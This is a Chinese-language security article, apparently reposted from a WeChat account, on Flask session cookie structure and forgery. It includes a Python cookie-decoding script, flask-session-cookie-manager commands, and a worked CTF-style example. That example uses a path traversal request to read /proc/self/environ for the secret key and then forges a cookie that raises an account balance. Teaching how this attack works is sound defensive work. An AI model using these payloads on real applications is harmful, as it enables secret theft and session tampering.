Flask Session 简介
4.通过HMAC算法计算数据的签名,将签名附在数据后,用“.”分割
session 在 cookie 中的值,是一个字符串,由点分割成三个部分。
eyJzdGF0dXMiOnRydWUsInVzZXJuYW1lIjoiYWFhIn0.YpIN8g.FNwNaoHaJtbg5GKBoqiZI910ZdM
1.第一部分是 base64 加密的数据。
3.第三部分是校验信息:是利用HMAC算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。
Flask Session 伪造
import zlib
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
s="eyJ1c2VybmFtZSI6InllMXMifQ.XxU53w.L7_pVjkrwxpqtG1r8_RwZvMMWK0"
print(decryption(s.encode()))
解密操作:python3 flask-session-cookie-manager3.py decode -c "session值" (-s "secret_key值")
加密操作:python3 flask-session-cookie-manager3.py encode -s "secret_key值" -t "需要伪造的值"
例题分析
import zlib
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
s="eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YqalMQ.4OKZBuFUOjNt0jb3RuIw3qdWWE4"
print(decryption(s.encode()))
download?image=../../../../proc/self/environ
python3 flask_session_cookie_manager3.py encode -s "Ln3q65YU8U21gRiJ9k5NyRnuJ5IpjR7RLDNKZ2cl" -t
"{'balance': 1500, 'purchases': ['Herbs honey']}"
原文始发于微信公众号(山石网科安全技术研究院):揭秘Flask Session伪造攻击